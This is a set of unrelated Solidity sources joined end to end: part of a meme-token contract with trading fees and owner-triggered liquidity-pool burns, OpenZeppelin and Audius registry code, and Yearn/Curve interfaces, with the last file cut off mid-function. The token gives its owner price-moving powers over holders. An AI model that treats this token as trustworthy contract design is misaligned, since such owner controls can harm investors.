// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Biffordinu", "BIFF") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 4;
uint256 _buyLiquidityFee = 10;
uint256 _buyDevFee = 1;
uint256 _sellMarketingFee = 5;
uint256 _sellLiquidityFee = 14;
uint256 _sellDevFee = 1;
uint256 totalSupply = 1 * 1e12 * 1e18;
//maxTransactionAmount = totalSupply * 1 / 1000; // 0.1% maxTransactionAmountTxn
maxTransactionAmount = 950000000 * 1e18;
maxWallet = totalSupply * 5 / 1000; // .5% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool){
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
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// File: @openzeppelin/upgrades/contracts/Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Initializable, Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function initialize(address sender) public initializer {
_owner = sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/InitializableV2.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* Wrapper around OpenZeppelin's Initializable contract.
* Exposes initialized state management to ensure logic contract functions cannot be called before initialization.
* This is needed because OZ's Initializable contract no longer exposes initialized state variable.
* https://github.com/OpenZeppelin/openzeppelin-sdk/blob/v2.8.0/packages/lib/contracts/Initializable.sol
*/
contract InitializableV2 is Initializable {
bool private isInitialized;
string private constant ERROR_NOT_INITIALIZED = "InitializableV2: Not initialized";
/**
* @notice wrapper function around parent contract Initializable's `initializable` modifier
* initializable modifier ensures this function can only be called once by each deployed child contract
* sets isInitialized flag to true to which is used by _requireIsInitialized()
*/
function initialize() public initializer {
isInitialized = true;
}
/**
* @notice Reverts transaction if isInitialized is false. Used by child contracts to ensure
* contract is initialized before functions can be called.
*/
function _requireIsInitialized() internal view {
require(isInitialized == true, ERROR_NOT_INITIALIZED);
}
/**
* @notice Exposes isInitialized bool var to child contracts with read-only access
*/
function _isInitialized() internal view returns (bool) {
return isInitialized;
}
}
// File: contracts/registry/Registry.sol
pragma solidity ^0.5.0;
/**
* @title Central hub for Audius protocol. It stores all contract addresses to facilitate
* external access and enable version management.
*/
contract Registry is InitializableV2, Ownable {
using SafeMath for uint256;
/**
* @dev addressStorage mapping allows efficient lookup of current contract version
* addressStorageHistory maintains record of all contract versions
*/
mapping(bytes32 => address) private addressStorage;
mapping(bytes32 => address[]) private addressStorageHistory;
event ContractAdded(
bytes32 indexed _name,
address indexed _address
);
event ContractRemoved(
bytes32 indexed _name,
address indexed _address
);
event ContractUpgraded(
bytes32 indexed _name,
address indexed _oldAddress,
address indexed _newAddress
);
function initialize() public initializer {
/// @notice Ownable.initialize(address _sender) sets contract owner to _sender.
Ownable.initialize(msg.sender);
InitializableV2.initialize();
}
// ========================================= Setters =========================================
/**
* @notice addContract registers contract name to address mapping under given registry key
* @param _name - registry key that will be used for lookups
* @param _address - address of contract
*/
function addContract(bytes32 _name, address _address) external onlyOwner {
_requireIsInitialized();
require(
addressStorage[_name] == address(0x00),
"Registry: Contract already registered with given name."
);
require(
_address != address(0x00),
"Registry: Cannot register zero address."
);
setAddress(_name, _address);
emit ContractAdded(_name, _address);
}
/**
* @notice removes contract address registered under given registry key
* @param _name - registry key for lookup
*/
function removeContract(bytes32 _name) external onlyOwner {
_requireIsInitialized();
address contractAddress = addressStorage[_name];
require(
contractAddress != address(0x00),
"Registry: Cannot remove - no contract registered with given _name."
);
setAddress(_name, address(0x00));
emit ContractRemoved(_name, contractAddress);
}
/**
* @notice replaces contract address registered under given key with provided address
* @param _name - registry key for lookup
* @param _newAddress - new contract address to register under given key
*/
function upgradeContract(bytes32 _name, address _newAddress) external onlyOwner {
_requireIsInitialized();
address oldAddress = addressStorage[_name];
require(
oldAddress != address(0x00),
"Registry: Cannot upgrade - no contract registered with given _name."
);
require(
_newAddress != address(0x00),
"Registry: Cannot upgrade - cannot register zero address."
);
setAddress(_name, _newAddress);
emit ContractUpgraded(_name, oldAddress, _newAddress);
}
// ========================================= Getters =========================================
/**
* @notice returns contract address registered under given registry key
* @param _name - registry key for lookup
* @return contractAddr - address of contract registered under given registry key
*/
function getContract(bytes32 _name) external view returns (address contractAddr) {
_requireIsInitialized();
return addressStorage[_name];
}
/// @notice overloaded getContract to return explicit version of contract
function getContract(bytes32 _name, uint256 _version) external view
returns (address contractAddr)
{
_requireIsInitialized();
// array length for key implies version number
require(
_version <= addressStorageHistory[_name].length,
"Registry: Index out of range _version."
);
return addressStorageHistory[_name][_version.sub(1)];
}
/**
* @notice Returns the number of versions for a contract key
* @param _name - registry key for lookup
* @return number of contract versions
*/
function getContractVersionCount(bytes32 _name) external view returns (uint256) {
_requireIsInitialized();
return addressStorageHistory[_name].length;
}
// ========================================= Private functions =========================================
/**
* @param _key the key for the contract address
* @param _value the contract address
*/
function setAddress(bytes32 _key, address _value) private {
// main map for cheap lookup
addressStorage[_key] = _value;
// keep track of contract address history
addressStorageHistory[_key].push(_value);
}
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// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Global Enums and Structs
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPerHarvest;
uint256 maxDebtPerHarvest;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalLoss;
}
// Part: ICurveFi
interface ICurveFi {
function get_virtual_price() external view returns (uint256);
function base_virtual_price() external view returns (uint256);
function add_liquidity(
// sBTC pool
uint256[3] calldata amounts,
uint256 min_mint_amount
) external;
function add_liquidity(
// bUSD pool
uint256[4] calldata amounts,
uint256 min_mint_amount
) external;
function add_liquidity(
// stETH pool
uint256[2] calldata amounts,
uint256 min_mint_amount
) external payable;
function add_liquidity(
// sBTC pool
uint256[3] calldata amounts,
uint256 min_mint_amount,
bool use_underlying
) external;
function add_liquidity(
// bUSD pool
uint256[4] calldata amounts,
uint256 min_mint_amount,
bool use_underlying
) external;
function add_liquidity(
// stETH pool
uint256[2] calldata amounts,
uint256 min_mint_amount,
bool use_underlying
) external payable;
function coins(int128) external view returns (address);
function pool() external view returns (address);
function base_coins(uint256) external view returns (address);
function underlying_coins(int128) external view returns (address);
function remove_liquidity_imbalance(uint256[2] calldata amounts, uint256 max_burn_amount) external;
function remove_liquidity(uint256 _amount, uint256[2] calldata amounts) external;
function calc_withdraw_one_coin(uint256 _amount, int128 i) external view returns (uint256);
function calc_withdraw_one_coin(uint256 _amount, int128 i, bool use_underlying) external view returns (uint256);
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 min_amount
) external;
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 min_amount,
bool use_underlying
) external;
function exchange(
int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount
) external payable;
function balances(int128) external view returns (uint256);
function get_dy(
int128 from,
int128 to,
uint256 _from_amount
) external view returns (uint256);
function calc_token_amount( uint256[2] calldata amounts, bool is_deposit) external view returns (uint256);
function calc_token_amount( uint256[3] calldata amounts, bool is_deposit) external view returns (uint256);
function calc_token_amount( uint256[4] calldata amounts, bool is_deposit) external view returns (uint256);
}
// Part: IERC20Extended
interface IERC20Extended{
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
// Part: IUni
interface IUni {
function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts);
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
